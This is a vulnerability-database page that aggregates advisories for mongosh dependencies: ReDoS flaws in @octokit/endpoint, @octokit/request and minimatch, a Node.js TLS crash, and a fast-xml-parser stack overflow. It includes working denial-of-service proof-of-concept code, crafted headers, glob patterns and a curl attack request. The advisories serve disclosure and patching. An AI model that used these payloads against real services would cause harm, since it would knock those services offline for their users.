Vulnerability-Lookup

Vulnerability from cleanstart

Published

2026-03-07 00:39

Modified

2026-03-06 13:08

Summary

@octokit/endpoint turns REST API endpoints into generic request options

Details

Multiple security vulnerabilities affect the mongosh package. @octokit/endpoint turns REST API endpoints into generic request options. See references for individual vulnerability details.

JSON

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{
  "affected": [
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "mongosh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.7.0-r0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "credits": [],
  "database_specific": {},
  "details": "Multiple security vulnerabilities affect the mongosh package. @octokit/endpoint turns REST API endpoints into generic request options. See references for individual vulnerability details.",
  "id": "CLEANSTART-2026-QY24299",
  "modified": "2026-03-06T13:08:41Z",
  "published": "2026-03-07T00:39:47.646997Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-QY24299.json"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2025-25285"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-21637"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/GHSA-7r86-cg39-jmmj"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/GHSA-fj3w-jwp8-x2g3"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/GHSA-rmvr-2pp2-xj38"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25285"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21637"
    }
  ],
  "related": [],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@octokit/endpoint turns REST API endpoints into generic request options",
  "upstream": [
    "CVE-2025-25285",
    "CVE-2026-21637",
    "GHSA-7r86-cg39-jmmj",
    "GHSA-fj3w-jwp8-x2g3",
    "GHSA-rmvr-2pp2-xj38"
  ]
}

CVE-2025-25285 (GCVE-0-2025-25285)

Vulnerability from cvelistv5 – Published: 2025-02-14 19:31 – Updated: 2025-02-14 19:44

Title

@octokit/endpoint has a Regular Expression in parse that Leads to ReDoS Vulnerability Due to Catastrophic Backtracking

Summary

@octokit/endpoint turns REST API endpoints into generic request options. Starting in version 4.1.0 and prior to version 10.1.3, by crafting specific `options` parameters, the `endpoint.parse(options)` call can be triggered, leading to a regular expression denial-of-service (ReDoS) attack. This causes the program to hang and results in high CPU utilization. The issue occurs in the `parse` function within the `parse.ts` file of the npm package `@octokit/endpoint`. Version 10.1.3 contains a patch for the issue.

Severity ?

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CWE

CWE-1333 - Inefficient Regular Expression Complexity

Assigner

GitHub_M

References

URL

	Vendor	Product	Version
	octokit	endpoint.js	Affected: >= 4.1.0, < 10.1.3

CVE-2026-21637 (GCVE-0-2026-21637)

Vulnerability from cvelistv5 – Published: 2026-01-20 20:41 – Updated: 2026-01-21 20:22

Summary

A flaw in Node.js TLS error handling allows remote attackers to crash or exhaust resources of a TLS server when `pskCallback` or `ALPNCallback` are in use. Synchronous exceptions thrown during these callbacks bypass standard TLS error handling paths (tlsClientError and error), causing either immediate process termination or silent file descriptor leaks that eventually lead to denial of service. Because these callbacks process attacker-controlled input during the TLS handshake, a remote client can repeatedly trigger the issue. This vulnerability affects TLS servers using PSK or ALPN callbacks across Node.js versions where these callbacks throw without being safely wrapped.

Severity ?

5.9 (Medium)


                        
                          CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-400 - Uncontrolled Resource Consumption

Assigner

hackerone

References

URL

	Vendor	Product	Version
	nodejs	node	Affected: 20.19.6 , ≤ 20.19.6 (semver) Affected: 22.21.1 , ≤ 22.21.1 (semver) Affected: 24.12.0 , ≤ 24.12.0 (semver) Affected: 25.2.1 , ≤ 25.2.1 (semver) Affected: 4.0 , < 4.* (semver) Affected: 5.0 , < 5.* (semver) Affected: 6.0 , < 6.* (semver) Affected: 7.0 , < 7.* (semver) Affected: 8.0 , < 8.* (semver) Affected: 9.0 , < 9.* (semver) Affected: 10.0 , < 10.* (semver) Affected: 11.0 , < 11.* (semver) Affected: 12.0 , < 12.* (semver) Affected: 13.0 , < 13.* (semver) Affected: 14.0 , < 14.* (semver) Affected: 15.0 , < 15.* (semver) Affected: 16.0 , < 16.* (semver) Affected: 17.0 , < 17.* (semver) Affected: 18.0 , < 18.* (semver)

GHSA-RMVR-2PP2-XJ38

Vulnerability from github – Published: 2025-02-14 18:00 – Updated: 2026-01-16 17:29

Summary

@octokit/request has a Regular Expression in fetchWrapper that Leads to ReDoS Vulnerability Due to Catastrophic Backtracking

Details

Summary

The regular expression /<([^>]+)>; rel="deprecation"/ used to match the link header in HTTP responses is vulnerable to a ReDoS (Regular Expression Denial of Service) attack. This vulnerability arises due to the unbounded nature of the regex's matching behavior, which can lead to catastrophic backtracking when processing specially crafted input. An attacker could exploit this flaw by sending a malicious link header, resulting in excessive CPU usage and potentially causing the server to become unresponsive, impacting service availability.

Details

The vulnerability resides in the regular expression /<([^>]+)>; rel="deprecation"/, which is used to match the link header in HTTP responses. This regular expression captures content between angle brackets (<>) followed by ; rel="deprecation". However, the pattern is vulnerable to ReDoS (Regular Expression Denial of Service) attacks due to its susceptibility to catastrophic backtracking when processing malicious input. An attacker can exploit this vulnerability by sending a specially crafted link header designed to trigger excessive backtracking. For example, the following headers:

fakeHeaders.set("link", "<".repeat(100000) + ">");
fakeHeaders.set("deprecation", "true");

The crafted link header consists of 100,000 consecutive < characters followed by a closing >. This input forces the regular expression engine to backtrack extensively in an attempt to match the pattern. As a result, the server can experience a significant increase in CPU usage, which may lead to denial of service, making the server unresponsive or even causing it to crash under load. The issue is present in the following code:

const matches = responseHeaders.link && responseHeaders.link.match(/<([^>]+)>; rel="deprecation"/);

In this scenario, the link header value triggers the regex to perform excessive backtracking, resulting in resource exhaustion and potentially causing the service to become unavailable.

PoC

The gist of PoC.js 1. run npm i @octokit/request 2. run 'node poc.js' result: 3. then the program will stuck forever with high CPU usage

import { request } from "@octokit/request";
const originalFetch = globalThis.fetch;
globalThis.fetch = async (url, options) => {
  const response = await originalFetch(url, options);
  const fakeHeaders = new Headers(response.headers);
  fakeHeaders.set("link", "<".repeat(100000) + ">");
  fakeHeaders.set("deprecation", "true");
  return new Response(response.body, {
    status: response.status,
    statusText: response.statusText,
    headers: fakeHeaders
  });
};
request("GET /repos/octocat/hello-world")
  .then(response => {
    // console.log("[+] Response received:", response);
  })
  .catch(error => {
    // console.error("[-] Error:", error);
  });
// globalThis.fetch = originalFetch;

Impact

This is a Denial of Service (DoS) vulnerability caused by a ReDoS (Regular Expression Denial of Service) flaw. The vulnerability allows an attacker to craft a malicious link header that exploits the inefficient backtracking behavior of the regular expression used in the code. The primary impact is the potential for server resource exhaustion, specifically high CPU usage, which can cause the server to become unresponsive or even crash when processing the malicious request. This affects the availability of the service, leading to downtime or degraded performance. The vulnerability impacts any system that uses this specific regular expression to process link headers in HTTP responses. This can include: * Web applications or APIs that rely on parsing headers for deprecation information. * Users interacting with the affected service, as they may experience delays or outages if the server becomes overwhelmed. * Service providers who may face disruption in operations or performance degradation due to this flaw. If left unpatched, the vulnerability can be exploited by any unauthenticated user who is able to send a specially crafted HTTP request with a malicious link header, making it a low-barrier attack that could be exploited by anyone.

Severity ?

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@octokit/request"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0-beta.1"
            },
            {
              "fixed": "9.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@octokit/request"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "8.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-25290"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-14T18:00:18Z",
    "nvd_published_at": "2025-02-14T20:15:35Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe regular expression `/\u003c([^\u003e]+)\u003e; rel=\"deprecation\"/` used to match the `link` header in HTTP responses is vulnerable to a ReDoS (Regular Expression Denial of Service) attack. This vulnerability arises due to the unbounded nature of the regex\u0027s matching behavior, which can lead to catastrophic backtracking when processing specially crafted input. An attacker could exploit this flaw by sending a malicious `link` header, resulting in excessive CPU usage and potentially causing the server to become unresponsive, impacting service availability.\n### Details\nThe vulnerability resides in the regular expression `/\u003c([^\u003e]+)\u003e; rel=\"deprecation\"/`, which is used to match the `link` header in HTTP responses. This regular expression captures content between angle brackets (`\u003c\u003e`) followed by `; rel=\"deprecation\"`. However, the pattern is vulnerable to ReDoS (Regular Expression Denial of Service) attacks due to its susceptibility to catastrophic backtracking when processing malicious input.\nAn attacker can exploit this vulnerability by sending a specially crafted `link` header designed to trigger excessive backtracking. For example, the following headers:\n```js\nfakeHeaders.set(\"link\", \"\u003c\".repeat(100000) + \"\u003e\");\nfakeHeaders.set(\"deprecation\", \"true\");\n```\nThe crafted `link` header consists of 100,000 consecutive `\u003c` characters followed by a closing `\u003e`. This input forces the regular expression engine to backtrack extensively in an attempt to match the pattern. As a result, the server can experience a significant increase in CPU usage, which may lead to denial of service, making the server unresponsive or even causing it to crash under load.\nThe issue is present in the following code:\n```js\nconst matches = responseHeaders.link \u0026\u0026 responseHeaders.link.match(/\u003c([^\u003e]+)\u003e; rel=\"deprecation\"/);\n```\nIn this scenario, the `link` header value triggers the regex to perform excessive backtracking, resulting in resource exhaustion and potentially causing the service to become unavailable.\n\n### PoC\n[The gist of PoC.js](https://gist.github.com/ShiyuBanzhou/2afdabf0fc4cb6cfbd3b1d58b6082f6a)\n1. run npm i @octokit/request\n2. run \u0027node poc.js\u0027\nresult:\n3. then the program will stuck forever with high CPU usage\n```js\nimport { request } from \"@octokit/request\";\nconst originalFetch = globalThis.fetch;\nglobalThis.fetch = async (url, options) =\u003e {\n  const response = await originalFetch(url, options);\n  const fakeHeaders = new Headers(response.headers);\n  fakeHeaders.set(\"link\", \"\u003c\".repeat(100000) + \"\u003e\");\n  fakeHeaders.set(\"deprecation\", \"true\");\n  return new Response(response.body, {\n    status: response.status,\n    statusText: response.statusText,\n    headers: fakeHeaders\n  });\n};\nrequest(\"GET /repos/octocat/hello-world\")\n  .then(response =\u003e {\n    // console.log(\"[+] Response received:\", response);\n  })\n  .catch(error =\u003e {\n    // console.error(\"[-] Error:\", error);\n  });\n// globalThis.fetch = originalFetch;\n```\n### Impact\nThis is a *Denial of Service (DoS) vulnerability* caused by a *ReDoS (Regular Expression Denial of Service)* flaw. The vulnerability allows an attacker to craft a malicious `link` header that exploits the inefficient backtracking behavior of the regular expression used in the code.\nThe primary impact is the potential for *server resource exhaustion*, specifically high CPU usage, which can cause the server to become unresponsive or even crash when processing the malicious request. This affects the availability of the service, leading to downtime or degraded performance.\nThe vulnerability impacts any system that uses this specific regular expression to process `link` headers in HTTP responses. This can include:\n* Web applications or APIs that rely on parsing headers for deprecation information.\n* Users interacting with the affected service, as they may experience delays or outages if the server becomes overwhelmed.\n* Service providers who may face disruption in operations or performance degradation due to this flaw.\nIf left unpatched, the vulnerability can be exploited by any unauthenticated user who is able to send a specially crafted HTTP request with a malicious `link` header, making it a low-barrier attack that could be exploited by anyone.",
  "id": "GHSA-rmvr-2pp2-xj38",
  "modified": "2026-01-16T17:29:36Z",
  "published": "2025-02-14T18:00:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/octokit/request.js/security/advisories/GHSA-rmvr-2pp2-xj38"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25290"
    },
    {
      "type": "WEB",
      "url": "https://github.com/octokit/request.js/commit/34ff07ee86fc5c20865982d77391bc910ef19c68"
    },
    {
      "type": "WEB",
      "url": "https://github.com/octokit/request.js/commit/356411e3217019aa9fc8a68f4236af82490873c2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/octokit/request.js/commit/6bb29ba92a52f7bf94469c3433707c682c17126c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/octokit/request.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/octokit/request.js/releases/tag/v8.4.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/octokit/request.js/releases/tag/v9.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@octokit/request has a Regular Expression in fetchWrapper that Leads to ReDoS Vulnerability Due to Catastrophic Backtracking"
}

GHSA-7R86-CG39-JMMJ

Vulnerability from github – Published: 2026-02-26 22:10 – Updated: 2026-02-26 22:10

Summary

minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments

Details

Summary

matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.

Details

The vulnerable loop is in matchOne() at src/index.ts#L960:

while (fr < fl) {
  ..
  if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
    ..
    return true
  }
  ..
  fr++
}

When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).

There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.

Measured timing with n=30 path segments:

k (globstars)	Pattern size	Time
7	36 bytes	~154ms
9	46 bytes	~1.2s
11	56 bytes	~5.4s
12	61 bytes	~9.7s
13	66 bytes	~15.9s

PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- inline script

import { minimatch } from 'minimatch'

// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
const path    = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'

const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200ms

To scale the effect, increase k:

// k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path    = Array(30).fill('a').join('/')
minimatch(path, pattern)

No special options are required. This reproduces with the default minimatch() call.

Step 2 -- HTTP server (event loop starvation proof)

The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:

// poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3000

const server = http.createServer((req, res) => {
  const url = new URL(req.url, `http://localhost:${PORT}`)
  if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }

  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
})

server.listen(PORT)

Terminal 1 -- start the server:

node poc1-server.mjs

Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:

curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &

Terminal 3 -- while the attack is in-flight, send a benign request:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"

Observed output (Terminal 3):

{"result":true,"ms":"0"}

time_total: 4.132709s

The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:

{"result":true,"ms":"0"}

time_total: 0.001599s

Impact

Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

Severity ?

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.4.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.2.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27903"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-26T22:10:18Z",
    "nvd_published_at": "2026-02-26T02:16:21Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`matchOne()` performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent `**` (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where `n` is the number of path segments and `k` is the number of globstars. With k=11 and n=30, a call to the default `minimatch()` API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.\n\n---\n\n### Details\n\nThe vulnerable loop is in `matchOne()` at [`src/index.ts#L960`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L960):\n\n```typescript\nwhile (fr \u003c fl) {\n  ..\n  if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {\n    ..\n    return true\n  }\n  ..\n  fr++\n}\n```\n\nWhen a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each `**` multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).\n\nThere is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning `false` on a non-matching input.\n\nMeasured timing with n=30 path segments:\n\n| k (globstars) | Pattern size | Time     |\n|---------------|--------------|----------|\n| 7             | 36 bytes     | ~154ms   |\n| 9             | 46 bytes     | ~1.2s    |\n| 11            | 56 bytes     | ~5.4s    |\n| 12            | 61 bytes     | ~9.7s    |\n| 13            | 66 bytes     | ~15.9s   |\n\n---\n\n### PoC\n\nTested on minimatch@10.2.2, Node.js 20.\n\n**Step 1 -- inline script**\n\n```javascript\nimport { minimatch } from \u0027minimatch\u0027\n\n// k=9 globstars, n=30 path segments\n// pattern: 46 bytes, default options\nconst pattern = \u0027**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b\u0027\nconst path    = \u0027a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a\u0027\n\nconst start = Date.now()\nminimatch(path, pattern)\nconsole.log(Date.now() - start + \u0027ms\u0027) // ~1200ms\n```\n\nTo scale the effect, increase k:\n\n```javascript\n// k=11 -\u003e ~5.4s, k=13 -\u003e ~15.9s\nconst k = 11\nconst pattern = Array.from({ length: k }, () =\u003e \u0027**/a\u0027).join(\u0027/\u0027) + \u0027/b\u0027\nconst path    = Array(30).fill(\u0027a\u0027).join(\u0027/\u0027)\nminimatch(path, pattern)\n```\n\nNo special options are required. This reproduces with the default `minimatch()` call.\n\n**Step 2 -- HTTP server (event loop starvation proof)**\n\nThe following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:\n\n```javascript\n// poc1-server.mjs\nimport http from \u0027node:http\u0027\nimport { URL } from \u0027node:url\u0027\nimport { minimatch } from \u0027minimatch\u0027\n\nconst PORT = 3000\n\nconst server = http.createServer((req, res) =\u003e {\n  const url = new URL(req.url, `http://localhost:${PORT}`)\n  if (url.pathname !== \u0027/match\u0027) { res.writeHead(404); res.end(); return }\n\n  const pattern = url.searchParams.get(\u0027pattern\u0027) ?? \u0027\u0027\n  const path    = url.searchParams.get(\u0027path\u0027) ?? \u0027\u0027\n\n  const start  = process.hrtime.bigint()\n  const result = minimatch(path, pattern)\n  const ms     = Number(process.hrtime.bigint() - start) / 1e6\n\n  res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 })\n  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + \u0027\\n\u0027)\n})\n\nserver.listen(PORT)\n```\n\nTerminal 1 -- start the server:\n```\nnode poc1-server.mjs\n```\n\nTerminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:\n```\ncurl \"http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb\u0026path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa\" \u0026\n```\n\nTerminal 3 -- while the attack is in-flight, send a benign request:\n```\ncurl -w \"\\ntime_total: %{time_total}s\\n\" \"http://localhost:3000/match?pattern=**%2Fy%2Fz\u0026path=x%2Fy%2Fz\"\n```\n\n**Observed output (Terminal 3):**\n```\n{\"result\":true,\"ms\":\"0\"}\n\ntime_total: 4.132709s\n```\n\nThe server reports `\"ms\":\"0\"` -- the legitimate request itself takes zero processing time. The 4+ second `time_total` is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:\n\n```\n{\"result\":true,\"ms\":\"0\"}\n\ntime_total: 0.001599s\n```\n\n---\n\n### Impact\n\nAny application where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.",
  "id": "GHSA-7r86-cg39-jmmj",
  "modified": "2026-02-26T22:10:18Z",
  "published": "2026-02-26T22:10:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/minimatch/security/advisories/GHSA-7r86-cg39-jmmj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27903"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/minimatch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments"
}

GHSA-FJ3W-JWP8-X2G3

Vulnerability from github – Published: 2026-02-26 22:33 – Updated: 2026-03-06 22:00

Summary

fast-xml-parser has stack overflow in XMLBuilder with preserveOrder

Details

Impact

Application crashes with stack overflow when user use XML builder with prserveOrder:true for following or similar input

[{
    'foo': [
        { 'bar': [{ '@_V': 'baz' }] }
    ]
}]

Cause: arrToStr was not validating if the input is an array or a string and treating all non-array values as text content. What kind of vulnerability is it? Who is impacted?

Patches

Yes in 5.3.8

Workarounds

Use XML builder with preserveOrder:false or check the input data before passing to builder.

References

Are there any links users can visit to find out more?

Severity ?

2.7 (Low)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U

Show details on source website

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-beta.0"
            },
            {
              "fixed": "4.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27942"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-120"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-26T22:33:10Z",
    "nvd_published_at": "2026-02-26T02:16:22Z",
    "severity": "LOW"
  },
  "details": "### Impact\nApplication crashes with stack overflow when user use XML builder with `prserveOrder:true` for following or similar input \n\n```\n[{\n    \u0027foo\u0027: [\n        { \u0027bar\u0027: [{ \u0027@_V\u0027: \u0027baz\u0027 }] }\n    ]\n}]\n```\n\nCause: `arrToStr` was not validating if the input is an array or a string and treating all non-array values as text content.\n_What kind of vulnerability is it? Who is impacted?_\n\n### Patches\nYes in 5.3.8\n\n### Workarounds\nUse XML builder with `preserveOrder:false` or check the input data before passing to builder.\n\n### References\n[_Are there any links users can visit to find out more?_](https://github.com/NaturalIntelligence/fast-xml-parser/pull/791)",
  "id": "GHSA-fj3w-jwp8-x2g3",
  "modified": "2026-03-06T22:00:11Z",
  "published": "2026-02-26T22:33:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-fj3w-jwp8-x2g3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27942"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/pull/791"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/c13a961910f14986295dd28484eee830fa1a0e8a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
